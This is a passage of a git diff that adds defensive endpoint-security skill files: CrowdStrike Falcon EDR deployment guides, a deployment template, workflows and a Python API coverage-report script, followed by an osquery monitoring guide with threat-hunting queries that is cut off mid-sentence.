auditor.audit_device_enrollment() + report = auditor.generate_report(apps, tunnels, posture, devices) + print(report) + + filename = f"cloudflare_zt_audit_{datetime.now().strftime('%Y%m%d')}.txt" + with open(filename, "w") as f: + f.write(report) + print(f"\nReport saved to: {filename}") + + +if __name__ == "__main__": + main() diff --git a/skills/deploying-edr-agent-with-crowdstrike/SKILL.md b/skills/deploying-edr-agent-with-crowdstrike/SKILL.md new file mode 100644 index 00000000..3eaebb41 --- /dev/null +++ b/skills/deploying-edr-agent-with-crowdstrike/SKILL.md @@ -0,0 +1,246 @@ +--- +name: deploying-edr-agent-with-crowdstrike +description: > + Deploys and configures CrowdStrike Falcon EDR agents across enterprise endpoints to enable + real-time threat detection, behavioral analysis, and automated response. Use when onboarding + endpoints to EDR coverage, configuring detection policies, or integrating Falcon telemetry + with SIEM platforms. Activates for requests involving CrowdStrike deployment, Falcon sensor + installation, EDR policy configuration, or endpoint detection and response. +domain: cybersecurity +subdomain: endpoint-security +tags: [endpoint, edr, CrowdStrike, Falcon, threat-detection, sensor-deployment] +version: 1.0.0 +author: mahipal +license: MIT +--- +# Deploying EDR Agent with CrowdStrike + +## When to Use + +Use this skill when: +- Deploying CrowdStrike Falcon sensors to Windows, macOS, or Linux endpoints +- Configuring Falcon prevention and detection policies for different endpoint groups +- Integrating CrowdStrike telemetry with SIEM (Splunk, Elastic, Sentinel) for correlated detection +- Troubleshooting sensor connectivity, performance, or detection issues + +**Do not use** this skill for deploying other EDR solutions (Carbon Black, SentinelOne) or for Falcon cloud workload protection (use cloud-specific deployment guides). + +## Prerequisites + +- CrowdStrike Falcon console access with Falcon Administrator role +- Customer ID (CID) and Falcon sensor installer package +- Administrative/root access on target endpoints +- Network access: endpoints must reach CrowdStrike cloud (ts01-b.cloudsink.net on port 443) +- Deployment tool: SCCM, Intune, GPO, Ansible, or manual installation + +## Workflow + +### Step 1: Obtain Falcon Sensor Installer and CID + +``` +1. Log into Falcon Console: https://falcon.crowdstrike.com +2. Navigate: Host setup and management → Sensor downloads +3. Download the appropriate installer: + - Windows: WindowsSensor_.exe + - macOS: FalconSensorMacOS_.pkg + - Linux: falcon-sensor__amd64.deb / .rpm +4. Copy the Customer ID (CID) from the Sensor downloads page + - CID format: <32-char-hex>-<2-char-checksum> +``` + +### Step 2: Deploy Falcon Sensor - Windows + +**Silent installation via command line**: +```cmd +WindowsSensor_7.18.17106.exe /install /quiet /norestart CID= +``` + +**SCCM deployment**: +``` +1. Create an Application in SCCM +2. Deployment type: Script Installer +3. Install command: WindowsSensor_7.18.17106.exe /install /quiet /norestart CID= +4. Detection method: Registry key exists + - HKLM\SYSTEM\CrowdStrike\{9b03c1d9-3138-44ed-9fae-d9f4c034b88d}\{16e0423f-7058-48c9-a204-725362b67639}\Default +5. Deploy to target collection +6. Deployment purpose: Required (for mandatory installation) +``` + +**Microsoft Intune deployment**: +``` +1. Navigate: Devices → Windows → Configuration profiles +2. Create Win32 app deployment +3. Upload .intunewin package (wrapped sensor installer) +4. Install command: WindowsSensor_7.18.17106.exe /install /quiet /norestart CID= +5. Detection rule: File exists C:\Windows\System32\drivers\CrowdStrike\csagent.sys +6. Assign to device group +``` + +**GPO deployment**: +```powershell +# Create startup script that checks for existing installation +$sensorPath = "C:\Windows\System32\drivers\CrowdStrike\csagent.sys" +if (-not (Test-Path $sensorPath)) { + Start-Process -FilePath "\\fileserver\CrowdStrike\WindowsSensor.exe" ` + -ArgumentList "/install /quiet /norestart CID=" -Wait +} +``` + +### Step 3: Deploy Falcon Sensor - Linux + +```bash +# Debian/Ubuntu +sudo dpkg -i falcon-sensor_7.18.0-17106_amd64.deb +sudo /opt/CrowdStrike/falconctl -s -f --cid= +sudo systemctl start falcon-sensor +sudo systemctl enable falcon-sensor + +# RHEL/CentOS +sudo yum install falcon-sensor-7.18.0-17106.el8.x86_64.rpm +sudo /opt/CrowdStrike/falconctl -s -f --cid= +sudo systemctl start falcon-sensor +sudo systemctl enable falcon-sensor + +# Verify sensor is running and connected +sudo /opt/CrowdStrike/falconctl -g --rfm-state +# Expected output: rfm-state=false (sensor is communicating with cloud) +``` + +### Step 4: Deploy Falcon Sensor - macOS + +```bash +# Install sensor package +sudo installer -pkg FalconSensorMacOS_7.18.pkg -target / + +# Set CID +sudo /Applications/Falcon.app/Contents/Resources/falconctl license + +# Grant Full Disk Access and System Extension via MDM profile +# Required for macOS Ventura+ (manual approval or MDM PPPC profile) +# MDM payload: com.crowdstrike.falcon.Agent → SystemExtension + Full Disk Access + +# Verify sensor status +sudo /Applications/Falcon.app/Contents/Resources/falconctl stats +``` + +### Step 5: Configure Prevention Policies + +In Falcon Console, navigate to Configuration → Prevention Policies: + +**Recommended prevention policy settings**: +``` +Machine Learning: + - Cloud ML: Aggressive (extra protection, may increase false positives) + - Sensor ML: Moderate + - Adware & PUP: Moderate + +Behavioral Protection: + - On Write: Enabled (detect malware on file creation) + - On Sensor ML: Enabled + - Interpreter-Only: Enabled (detect script-based attacks) + +Exploit Mitigation: + - Exploit behavior protection: Enabled + - Memory scanning: Enabled (detects in-memory attacks) + - Code injection: Enabled + +Ransomware: + - Ransomware protection: Enabled + - Shadow copy protection: Enabled + - MBR protection: Enabled +``` + +**Create separate policies for**: +- Workstations (aggressive settings) +- Servers (moderate settings to avoid false positives on server workloads) +- Critical infrastructure (maximum protection with exception lists) + +### Step 6: Configure Response Policies + +``` +Real-Time Response: + - Enable RTR for all sensor groups + - Configure RTR admin vs. RTR responder roles + - Enable script execution (for IR teams) + - Enable file extraction (for forensics) + +Network Containment: + - Pre-authorize containment for specific host groups + - Configure containment exclusions (allow management traffic) + +Automated Response: + - Enable automated remediation for high-confidence detections + - Configure kill process action for ransomware detections + - Enable quarantine for malware file detections +``` + +### Step 7: Validate Deployment + +```powershell +# Windows: Check Falcon sensor status +sc query csagent +# Expected: RUNNING + +# Check sensor version +reg query "HKLM\SYSTEM\CrowdStrike\{9b03c1d9-3138-44ed-9fae-d9f4c034b88d}\{16e0423f-7058-48c9-a204-725362b67639}\Default" /v AgentVersion + +# Verify cloud connectivity +# In Falcon Console: Host Management → Hosts → search for hostname +# Status should show "Online" with last seen timestamp < 5 minutes +``` + +**Test detection capability**: +```powershell +# CrowdStrike provides test detection samples +# Download CsTestDetect.exe from Falcon Console → Host setup +# Run on endpoint to generate a test detection +.\CsTestDetect.exe +# Verify detection appears in Falcon Console within 60 seconds +``` + +### Step 8: SIEM Integration + +``` +# Falcon SIEM Connector (Streaming API) +# Configure in Falcon Console: Support → API Clients and Keys + +# Create API client with scope: Event Streams → Read +# Use falcon-siem-connector or Falcon Data Replicator (FDR) + +# Splunk integration: +# Install CrowdStrike Falcon Event Streams Technical Add-on from Splunkbase +# Configure: Settings → Data inputs → CrowdStrike Falcon Event Streams +# Enter API Client ID and Secret +# Index: crowdstrike_events + +# Elastic integration: +# Use Elastic Agent with CrowdStrike module +# Configure: Fleet → Agent policies → Add integration → CrowdStrike +``` + +## Key Concepts + +| Term | Definition | +|------|-----------| +| **Falcon Sensor** | Lightweight kernel-mode agent (25-30 MB) that collects endpoint telemetry and enforces prevention policies | +| **CID (Customer ID)** | Unique identifier that associates the sensor with your CrowdStrike Falcon tenant | +| **RFM (Reduced Functionality Mode)** | State where sensor operates with limited capability due to cloud connectivity loss | +| **Sensor Grouping Tags** | Labels applied during installation to auto-assign hosts to groups and policies | +| **RTR (Real-Time Response)** | Remote shell capability for incident responders to interact with endpoints through Falcon | +| **IOA (Indicators of Attack)** | Behavioral detections based on adversary techniques rather than static signatures | + +## Tools & Systems + +- **CrowdStrike Falcon Console**: Cloud-hosted management platform for all Falcon modules +- **Falcon SIEM Connector**: Streams detection and audit events to SIEM platforms +- **Falcon Data Replicator (FDR)**: Streams raw endpoint telemetry to S3/cloud storage for hunting +- **CrowdStrike Falcon API (OAuth2)**: RESTful API for automation, integration, and custom workflows +- **PSFalcon**: PowerShell module for CrowdStrike Falcon API automation + +## Common Pitfalls + +- **Missing CID during installation**: Sensor installs but never connects to Falcon cloud. Always pass CID during install, not after. +- **Proxy not configured**: In environments with web proxies, configure proxy during installation: `/install /quiet CID= APP_PROXYNAME=proxy.corp.com APP_PROXYPORT=8080`. +- **macOS System Extension blocked**: macOS requires explicit approval for kernel/system extensions. Use MDM to pre-approve CrowdStrike extensions before deployment. +- **Conflicting security products**: Running multiple EDR/AV products causes performance issues and false positives. Coordinate exclusions or remove legacy AV before Falcon deployment. +- **Sensor version pinning**: Falcon auto-updates sensors by default. Pin sensor versions in the console for change-controlled environments before testing new versions. diff --git a/skills/deploying-edr-agent-with-crowdstrike/assets/template.md b/skills/deploying-edr-agent-with-crowdstrike/assets/template.md new file mode 100644 index 00000000..4f132cd5 --- /dev/null +++ b/skills/deploying-edr-agent-with-crowdstrike/assets/template.md @@ -0,0 +1,89 @@ +# CrowdStrike Falcon EDR Deployment Template + +## Deployment Information + +| Field | Value | +|-------|-------| +| Falcon Tenant | | +| Customer ID (CID) | | +| Sensor Version | | +| Deployment Tool | SCCM / Intune / GPO / Ansible / Manual | +| Target Environment | Production / Staging / Dev | +| Deployment Date | | +| Deployment Lead | | + +## Pre-Deployment Checklist + +- [ ] Falcon Console access verified with Administrator role +- [ ] CID obtained from Sensor downloads page +- [ ] Sensor installer downloaded for all target OS platforms +- [ ] Network connectivity verified: endpoints can reach ts01-b.cloudsink.net:443 +- [ ] Proxy configuration documented (if applicable) +- [ ] Prevention policies created for each endpoint group +- [ ] Sensor update policy configured (auto-update or pinned version) +- [ ] Existing AV/EDR removal plan documented +- [ ] Exclusion list prepared for known LOB applications +- [ ] Change management ticket approved + +## Deployment Scope + +| Endpoint Group | Count | OS | Policy | Deployment Phase | +|---------------|-------|-----|--------|-----------------| +| Workstations | | Windows 11 | WS-Prevention-L1 | Phase 1 | +| Standard Servers | | Windows Server 2022 | SRV-Prevention | Phase 2 | +| Linux Servers | | Ubuntu 22.04 | LNX-Prevention | Phase 2 | +| macOS Endpoints | | macOS Ventura | MAC-Prevention | Phase 3 | +| Critical Servers | | Mixed | CRIT-Prevention | Phase 4 | + +## Policy Configuration + +### Prevention Policy Settings + +| Setting | Workstations | Servers | Critical | +|---------|-------------|---------|----------| +| Cloud ML | Aggressive | Moderate | Aggressive | +| Sensor ML | Moderate | Cautious | Moderate | +| On Write | Enabled | Enabled | Enabled | +| Script-based Execution | Enabled | Enabled | Enabled | +| Ransomware Protection | Enabled | Enabled | Enabled | +| Exploit Protection | Enabled | Enabled | Enabled | + +### Exclusions Applied + +| Path/Process | Reason | Policy Group | Approved By | +|-------------|--------|-------------|-------------| +| | | | | + +## Post-Deployment Validation + +- [ ] All target endpoints show "Online" in Falcon Console +- [ ] Correct prevention policy applied to each host group +- [ ] Test detection generated with CsTestDetect and visible in console +- [ ] No RFM (Reduced Functionality Mode) hosts +- [ ] No critical application performance degradation reported +- [ ] SIEM integration receiving events +- [ ] RTR access verified for IR team + +## Deployment Metrics + +| Metric | Target | Actual | +|--------|--------|--------| +| Coverage (% of endpoints with sensor) | 100% | | +| Online rate | >98% | | +| Sensor version compliance | >95% same version | | +| Policy assignment accuracy | 100% | | +| Mean time to deploy (per phase) | <5 business days | | + +## Issues and Remediation + +| Issue | Affected Hosts | Root Cause | Resolution | Status | +|-------|---------------|------------|-----------|--------| +| | | | | | + +## Sign-Off + +| Role | Name | Date | +|------|------|------| +| Security Engineer | | | +| IT Operations | | | +| SOC Manager | | | diff --git a/skills/deploying-edr-agent-with-crowdstrike/references/standards.md b/skills/deploying-edr-agent-with-crowdstrike/references/standards.md new file mode 100644 index 00000000..8d2d1e98 --- /dev/null +++ b/skills/deploying-edr-agent-with-crowdstrike/references/standards.md @@ -0,0 +1,49 @@ +# Standards & References - Deploying EDR Agent with CrowdStrike + +## Primary Standards + +### MITRE ATT&CK Enterprise Framework +- **Publisher**: MITRE Corporation +- **URL**: https://attack.mitre.org/ +- **Relevance**: CrowdStrike Falcon maps detections to ATT&CK techniques; understanding ATT&CK is essential for tuning detection policies +- **Key tactics for EDR**: Initial Access, Execution, Persistence, Privilege Escalation, Defense Evasion, Lateral Movement + +### NIST SP 800-83 Rev 1 - Guide to Malware Incident Prevention and Handling +- **Publisher**: NIST +- **Relevance**: Defines endpoint protection architecture including EDR placement and malware prevention controls + +### CIS Control 10 - Malware Defenses +- **Publisher**: Center for Internet Security +- **Relevance**: CIS Controls v8 Control 10 mandates deploying anti-malware with centralized management and automated updates + +## CrowdStrike-Specific References + +### CrowdStrike Falcon Deployment Guide +- **Scope**: Official deployment procedures for Windows, macOS, Linux sensors +- **Key sections**: Silent install parameters, proxy configuration, sensor grouping tags +- **Access**: Falcon Console → Support → Documentation + +### CrowdStrike Falcon API Documentation +- **URL**: https://falcon.crowdstrike.com/documentation/ +- **Scope**: OAuth2 authentication, host management, detection management, RTR APIs +- **Key endpoints**: /devices/queries/devices/v1, /detects/queries/detects/v1 + +### Falcon SIEM Integration Guide +- **Scope**: Event streaming via SIEM Connector, FDR, and direct API +- **Supported SIEMs**: Splunk, Elastic, Microsoft Sentinel, IBM QRadar, ArcSight + +## Compliance Mappings + +| Framework | Requirement | CrowdStrike Coverage | +|-----------|------------|---------------------| +| PCI DSS 4.0 | 5.2 - Anti-malware on systems | Falcon sensor on all in-scope endpoints | +| HIPAA | 164.308(a)(5)(ii)(B) - Protection from malware | Falcon prevention + detection | +| SOC 2 | CC6.8 - Malicious software prevention | Falcon sensor with prevention policies | +| NIST 800-171 | 3.14.2 - Malicious code protection | Falcon ML + behavioral detection | +| ISO 27001 | A.12.2.1 - Controls against malware | Falcon sensor with automated response | + +## Industry Benchmarks + +- **MITRE Engenuity ATT&CK Evaluations**: CrowdStrike Falcon regularly achieves high detection scores in Enterprise evaluations +- **Gartner Magic Quadrant for Endpoint Protection**: CrowdStrike positioned as Leader +- **Forrester Wave Endpoint Detection and Response**: CrowdStrike rated Strong Performer/Leader diff --git a/skills/deploying-edr-agent-with-crowdstrike/references/workflows.md b/skills/deploying-edr-agent-with-crowdstrike/references/workflows.md new file mode 100644 index 00000000..46649d1c --- /dev/null +++ b/skills/deploying-edr-agent-with-crowdstrike/references/workflows.md @@ -0,0 +1,130 @@ +# Workflows - Deploying EDR Agent with CrowdStrike + +## Workflow 1: Enterprise Sensor Rollout + +``` +[Plan Deployment] + │ + ├── Obtain Falcon Console access and CID + ├── Download sensor installer for each OS + ├── Create deployment groups (Workstations, Servers, VDI) + │ + ▼ +[Configure Policies Before Deployment] + │ + ├── Create prevention policies per group + ├── Configure sensor update policies (pinned vs. auto-update) + ├── Set sensor grouping tags for auto-assignment + │ + ▼ +[Pilot Deployment (5% of endpoints)] + │ + ├── Deploy via SCCM/Intune to pilot group + ├── Monitor for 1 week: performance impact, false positives + ├── Tune exclusions for LOB applications + │ + ▼ +[Validation] + │ + ├── All pilot hosts show "Online" in Falcon Console + ├── Test detection with CsTestDetect + ├── No critical application breakage + │ + ▼ +[Production Rollout (phased)] + │ + ├── Phase 1: Workstations (2 weeks) + ├── Phase 2: Standard servers (2 weeks) + ├── Phase 3: Critical servers (1 week, change window) + │ + ▼ +[Post-Deployment] + │ + ├── Enable SIEM integration + ├── Configure automated response policies + ├── Establish exclusion review cadence (monthly) + └── Train SOC on Falcon Console workflows +``` + +## Workflow 2: Detection Triage in Falcon Console + +``` +[New Detection Alert] + │ + ▼ +[Review Detection in Falcon Console] + │ + ├── Severity: Critical/High/Medium/Low/Informational + ├── Tactic & Technique (ATT&CK mapping) + ├── Process tree visualization + ├── Network connections + │ + ▼ +[Assess: True Positive or False Positive?] + │ + ├── True Positive ──► [Contain Host via Network Containment] + │ │ + │ ▼ + │ [Launch RTR session for investigation] + │ │ + │ ▼ + │ [Collect artifacts, kill malicious processes] + │ │ + │ ▼ + │ [Remediate and release from containment] + │ + └── False Positive ──► [Create exclusion rule] + │ + ▼ + [Document exclusion with justification] + │ + ▼ + [Mark detection as false positive] +``` + +## Workflow 3: Sensor Troubleshooting + +``` +[Sensor Issue Reported] + │ + ▼ +[Check Falcon Console Host Status] + │ + ├── Online ──► [Issue is not connectivity; check policy assignment] + │ + └── Offline / RFM ──► [Check network connectivity] + │ + ├── Can reach ts01-b.cloudsink.net:443? + │ │ + │ ├── Yes ──► [Check proxy settings] + │ │ ▼ + │ │ [Reconfigure: falconctl -s --apd=false --aph=proxy --app=8080] + │ │ + │ └── No ──► [Firewall blocking; add CrowdStrike domains to allowlist] + │ + ▼ + [Check sensor service status] + │ + ├── Service running ──► [Review sensor logs in C:\Windows\System32\drivers\CrowdStrike\] + │ + └── Service stopped ──► [Restart: sc start csagent (Windows) or systemctl start falcon-sensor (Linux)] +``` + +## Workflow 4: Sensor Version Upgrade + +``` +[New Sensor Version Available] + │ + ▼ +[Review Release Notes in Falcon Console] + │ + ▼ +[Test on pilot group (N-1 update policy)] + │ + ├── No issues after 1 week ──► [Move production to N update policy] + │ + └── Issues found ──► [Hold on current version, file support ticket] + │ + ▼ + [Pin current version in sensor update policy] +``` diff --git a/skills/deploying-edr-agent-with-crowdstrike/scripts/process.py b/skills/deploying-edr-agent-with-crowdstrike/scripts/process.py new file mode 100644 index 00000000..e262a720 --- /dev/null +++ b/skills/deploying-edr-agent-with-crowdstrike/scripts/process.py @@ -0,0 +1,236 @@ +#!/usr/bin/env python3 +""" +CrowdStrike Falcon Deployment Verification Tool + +Queries the CrowdStrike Falcon API to verify sensor deployment coverage, +identify unmanaged endpoints, and generate deployment status reports. +""" + +import json +import sys +import os +import time +import csv +from datetime import datetime, timedelta +from urllib.request import Request, urlopen +from urllib.parse import urlencode +from urllib.error import HTTPError + + +FALCON_BASE_URL = os.environ.get("FALCON_BASE_URL", "https://api.crowdstrike.com") +FALCON_CLIENT_ID = os.environ.get("FALCON_CLIENT_ID", "") +FALCON_CLIENT_SECRET = os.environ.get("FALCON_CLIENT_SECRET", "") + + +def get_oauth_token() -> str: + """Obtain OAuth2 bearer token from CrowdStrike API.""" + url = f"{FALCON_BASE_URL}/oauth2/token" + data = urlencode({ + "client_id": FALCON_CLIENT_ID, + "client_secret": FALCON_CLIENT_SECRET, + }).encode() + + req = Request(url, data=data, method="POST") + req.add_header("Content-Type", "application/x-www-form-urlencoded") + + with urlopen(req) as resp: + body = json.loads(resp.read()) + return body["access_token"] + + +def api_get(token: str, endpoint: str, params: dict = None) -> dict: + """Make authenticated GET request to Falcon API.""" + url = f"{FALCON_BASE_URL}{endpoint}" + if params: + url += "?" + urlencode(params) + + req = Request(url, method="GET") + req.add_header("Authorization", f"Bearer {token}") + req.add_header("Accept", "application/json") + + with urlopen(req) as resp: + return json.loads(resp.read()) + + +def get_all_host_ids(token: str) -> list: + """Retrieve all host device IDs from Falcon.""" + all_ids = [] + offset = 0 + limit = 5000 + + while True: + result = api_get(token, "/devices/queries/devices-scroll/v1", { + "limit": limit, + "offset": offset, + }) + resources = result.get("resources", []) + if not resources: + break + all_ids.extend(resources) + offset += limit + if len(resources) < limit: + break + + return all_ids + + +def get_host_details(token: str, host_ids: list) -> list: + """Retrieve detailed host information for given IDs (batches of 100).""" + all_details = [] + + for i in range(0, len(host_ids), 100): + batch = host_ids[i:i + 100] + url = f"{FALCON_BASE_URL}/devices/entities/devices/v2" + data = json.dumps({"ids": batch}).encode() + + req = Request(url, data=data, method="POST") + req.add_header("Authorization", f"Bearer {token}") + req.add_header("Content-Type", "application/json") + + with urlopen(req) as resp: + body = json.loads(resp.read()) + all_details.extend(body.get("resources", [])) + + return all_details + + +def analyze_deployment(hosts: list) -> dict: + """Analyze deployment coverage and sensor health.""" + now = datetime.utcnow() + stale_threshold = now - timedelta(days=7) + + analysis = { + "total_hosts": len(hosts), + "os_breakdown": {}, + "status_breakdown": {"online": 0, "offline": 0, "stale": 0}, + "sensor_versions": {}, + "rfm_hosts": [], + "stale_hosts": [], + "unprotected_hosts": [], + } + + for host in hosts: + platform = host.get("platform_name", "Unknown") + analysis["os_breakdown"][platform] = analysis["os_breakdown"].get(platform, 0) + 1 + + version = host.get("agent_version", "Unknown") + analysis["sensor_versions"][version] = analysis["sensor_versions"].get(version, 0) + 1 + + status = host.get("status", "unknown") + last_seen = host.get("last_seen", "") + + if last_seen: + try: + last_seen_dt = datetime.fromisoformat(last_seen.replace("Z", "+00:00")).replace(tzinfo=None) + if last_seen_dt < stale_threshold: + analysis["status_breakdown"]["stale"] += 1 + analysis["stale_hosts"].append({ + "hostname": host.get("hostname", ""), + "last_seen": last_seen, + "platform": platform, + }) + elif status == "normal": + analysis["status_breakdown"]["online"] += 1 + else: + analysis["status_breakdown"]["offline"] += 1 + except (ValueError, TypeError): + analysis["status_breakdown"]["offline"] += 1 + + reduced_functionality = host.get("reduced_functionality_mode", "no") + if reduced_functionality == "yes": + analysis["rfm_hosts"].append({ + "hostname": host.get("hostname", ""), + "reason": host.get("device_policies", {}).get("prevention", {}).get("policy_type", "unknown"), + }) + + prevention_policy = host.get("device_policies", {}).get("prevention", {}) + if not prevention_policy.get("applied", False): + analysis["unprotected_hosts"].append({ + "hostname": host.get("hostname", ""), + "platform": platform, + "reason": "Prevention policy not applied", + }) + + return analysis + + +def generate_deployment_report(analysis: dict, output_path: str) -> None: + """Generate deployment status report.""" + report = { + "report_generated": datetime.utcnow().isoformat() + "Z", + "deployment_summary": { + "total_managed_hosts": analysis["total_hosts"], + "online": analysis["status_breakdown"]["online"], + "offline": analysis["status_breakdown"]["offline"], + "stale_7_days": analysis["status_breakdown"]["stale"], + "in_rfm": len(analysis["rfm_hosts"]), + "unprotected": len(analysis["unprotected_hosts"]), + }, + "os_distribution": analysis["os_breakdown"], + "sensor_version_distribution": analysis["sensor_versions"], + "hosts_requiring_attention": { + "stale_hosts": analysis["stale_hosts"][:50], + "rfm_hosts": analysis["rfm_hosts"][:50], + "unprotected_hosts": analysis["unprotected_hosts"][:50], + }, + } + + with open(output_path, "w", encoding="utf-8") as f: + json.dump(report, f, indent=2) + + +def export_stale_hosts_csv(stale_hosts: list, output_path: str) -> None: + """Export stale hosts to CSV for remediation tracking.""" + with open(output_path, "w", newline="", encoding="utf-8") as f: + writer = csv.writer(f) + writer.writerow(["Hostname", "Platform", "Last Seen", "Action Required"]) + for host in stale_hosts: + writer.writerow([ + host["hostname"], + host.get("platform", ""), + host["last_seen"], + "Investigate connectivity / reinstall sensor", + ]) + + +if __name__ == "__main__": + if not FALCON_CLIENT_ID or not FALCON_CLIENT_SECRET: + print("Error: Set FALCON_CLIENT_ID and FALCON_CLIENT_SECRET environment variables") + print() + print("Required environment variables:") + print(" FALCON_CLIENT_ID - API client ID from Falcon Console") + print(" FALCON_CLIENT_SECRET - API client secret") + print(" FALCON_BASE_URL - (Optional) API base URL (default: https://api.crowdstrike.com)") + sys.exit(1) + + print("Authenticating with CrowdStrike Falcon API...") + token = get_oauth_token() + + print("Retrieving host inventory...") + host_ids = get_all_host_ids(token) + print(f"Found {len(host_ids)} managed hosts") + + print("Fetching host details...") + hosts = get_host_details(token, host_ids) + + print("Analyzing deployment coverage...") + analysis = analyze_deployment(hosts) + + report_path = "falcon_deployment_report.json" + generate_deployment_report(analysis, report_path) + print(f"\nDeployment report: {report_path}") + + if analysis["stale_hosts"]: + csv_path = "falcon_stale_hosts.csv" + export_stale_hosts_csv(analysis["stale_hosts"], csv_path) + print(f"Stale hosts CSV: {csv_path}") + + print(f"\n--- Deployment Summary ---") + print(f"Total hosts: {analysis['total_hosts']}") + print(f"Online: {analysis['status_breakdown']['online']}") + print(f"Offline: {analysis['status_breakdown']['offline']}") + print(f"Stale (>7 days): {analysis['status_breakdown']['stale']}") + print(f"In RFM: {len(analysis['rfm_hosts'])}") + print(f"Unprotected: {len(analysis['unprotected_hosts'])}") + print(f"\nOS Distribution: {json.dumps(analysis['os_breakdown'], indent=2)}") + print(f"Sensor Versions: {json.dumps(analysis['sensor_versions'], indent=2)}") diff --git a/skills/deploying-osquery-for-endpoint-monitoring/SKILL.md b/skills/deploying-osquery-for-endpoint-monitoring/SKILL.md new file mode 100644 index 00000000..89ed757c --- /dev/null +++ b/skills/deploying-osquery-for-endpoint-monitoring/SKILL.md @@ -0,0 +1,187 @@ +--- +name: deploying-osquery-for-endpoint-monitoring +description: > + Deploys and configures osquery for real-time endpoint monitoring using SQL-based queries to + inspect running processes, open ports, installed software, and system configuration. Use when + building visibility into endpoint state, threat hunting across fleet, or implementing + compliance monitoring. Activates for requests involving osquery deployment, endpoint visibility, + fleet management, or SQL-based endpoint querying. +domain: cybersecurity +subdomain: endpoint-security +tags: [endpoint, osquery, endpoint-monitoring, threat-hunting, fleet-management] +version: 1.0.0 +author: mahipal +license: MIT +--- +# Deploying Osquery for Endpoint Monitoring + +## When to Use + +Use this skill when: +- Deploying osquery across Windows, macOS, and Linux endpoints for fleet-wide visibility +- Building threat hunting queries using osquery's SQL interface +- Monitoring endpoint compliance (installed software, open ports, running services) +- Integrating osquery data with SIEM or Kolide/Fleet for centralized management + +**Do not use** for real-time alerting (osquery is periodic/on-demand; use EDR for real-time). + +## Prerequisites + +- Osquery package for target OS (https://osquery.io/downloads) +- Fleet management server (Kolide Fleet or FleetDM) for enterprise deployment +- TLS certificates for secure agent-to-server communication +- Log aggregation pipeline (Filebeat, Fluentd) for osquery result logs + +## Workflow + +### Step 1: Install Osquery + +```bash +# Ubuntu/Debian +export OSQUERY_KEY=1484120AC4E9F8A1A577AEEE97A80C63C9D8B80B +apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 --recv-keys $OSQUERY_KEY +add-apt-repository 'deb [arch=amd64] https://pkg.osquery.io/deb deb main' +apt-get update && apt-get install osquery -y + +# Windows (MSI) +# Download from https://osquery.io/downloads/official +msiexec /i osquery-5.12.1.msi /quiet + +# macOS +brew install osquery +``` + +### Step 2: Configure Osquery + +```json +// /etc/osquery/osquery.conf (Linux/macOS) or C:\ProgramData\osquery\osquery.conf +{ + "options": { + "config_plugin": "filesystem", + "logger_plugin": "filesystem", + "logger_path": "/var/log/osquery", + "disable_logging": "false", + "schedule_splay_percent": "10", + "events_expiry": "3600", + "verbose": "false", + "worker_threads": "2", + "enable_monitor": "true", + "disable_events": "false", + "disable_audit": "false", + "audit_allow_config": "true", + "host_identifier": "hostname", + "enable_syslog": "true" + }, + "schedule": { + "process_monitor": { + "query": "SELECT pid, name, path, cmdline, uid, parent FROM processes WHERE on_disk = 0;", + "interval": 300, + "description": "Detect processes running without on-disk binary (fileless)" + }, + "listening_ports": { + "query": "SELECT DISTINCT p.name, p.path, lp.port, lp.protocol, lp.address FROM listening_ports lp JOIN processes p ON lp.pid = p.pid WHERE lp.port != 0;", + "interval": 600, + "description": "Monitor listening network ports" + }, + "persistence_check": { + "query": "SELECT name, path, source FROM startup_items;", + "interval": 3600, + "description": "Monitor persistence mechanisms" + }, + "installed_packages": { + "query": "SELECT name, version, source FROM deb_packages;", + "interval": 86400, + "description": "Daily software inventory" + }, + "users_and_groups": { + "query": "SELECT u.username, u.uid, u.gid, u.shell, u.directory FROM users u WHERE u.uid >= 1000;", + "interval": 3600 + }, + "crontab_monitor": { + "query": "SELECT * FROM crontab;", + "interval": 3600, + "description": "Monitor scheduled tasks" + }, + "suid_binaries": { + "query": "SELECT path, username, permissions FROM suid_bin;", + "interval": 86400, + "description": "Detect SUID binaries" + } + }, + "packs": { + "incident-response": "/usr/share/osquery/packs/incident-response.conf", + "ossec-rootkit": "/usr/share/osquery/packs/ossec-rootkit.conf", + "vuln-management": "/usr/share/osquery/packs/vuln-management.conf" + } +} +``` + +### Step 3: Threat Hunting Queries + +```sql +-- Detect processes with no on-disk binary (potential fileless malware) +SELECT pid, name, path, cmdline FROM processes WHERE on_disk = 0; + +-- Find listening ports not associated with known services +SELECT lp.port, lp.protocol, p.name, p.path +FROM listening_ports lp JOIN processes p ON lp.pid = p.pid +WHERE lp.port NOT IN (22, 80, 443, 3306, 5432); + +-- Detect unauthorized SSH keys +SELECT * FROM authorized_keys WHERE NOT key LIKE '%admin-team%'; + +-- Find recently modified system binaries +SELECT path, mtime, size FROM file +WHERE path LIKE '/usr/bin/%' AND mtime > (strftime('%s', 'now') - 86400); + +-- Detect processes connecting to external IPs +SELECT DISTINCT p.name, p.path, pn.remote_address, pn.remote_port +FROM process_open_sockets pn JOIN processes p ON pn.pid = p.pid +WHERE pn.remote_address NOT LIKE '10.%' + AND pn.remote_address NOT LIKE '172.16.%' + AND pn.remote_address NOT LIKE '192.168.%' + AND pn.remote_address != '127.0.0.1' + AND pn.remote_address != '0.0.0.0'; + +-- Windows: Detect unsigned running executables +SELECT p.name, p.path, a.result AS signature_status +FROM processes p JOIN authenticode a ON p.path = a.path +WHERE a.result != 'trusted'; +``` + +### Step 4: Deploy FleetDM for Centralized Management + +```bash +# FleetDM provides centralized osquery management +# Deploy FleetDM server, configure agents to report to it +# Agents use TLS enrollment and config from Fleet + +# Agent configuration for Fleet: +# --tls_hostname=fleet.corp.com +# --tls_server_certs=/etc/osquery/fleet.pem +# --enroll_secret_path=/etc/osquery/enroll_secret +``` + +## Key Concepts + +| Term | Definition | +|------|-----------| +| **Osquery** | Open-source endpoint agent that exposes OS state as SQL tables for querying | +| **Schedule** | Periodic queries that run at defined intervals and log results | +| **Pack** | Collection of related queries grouped for specific use cases (IR, compliance) | +| **FleetDM** | Open-source osquery fleet management platform | +| **Differential Results** | Osquery logs only changes between query executions, reducing data volume | + +## Tools & Systems + +- **Osquery**: https://osquery.io/ - endpoint visibility agent +- **FleetDM**: https://fleetdm.com/ - centralized fleet management +- **Kolide**: Cloud-based osquery management with Slack integration +- **osquery-go**: Go client library for osquery extensions + +## Common Pitfalls + +- **Query performance**: Complex queries with large table scans impact endpoint performance. Use WHERE clauses and test query cost with `EXPLAIN`. +- **Schedule intervals too aggressive**: Running 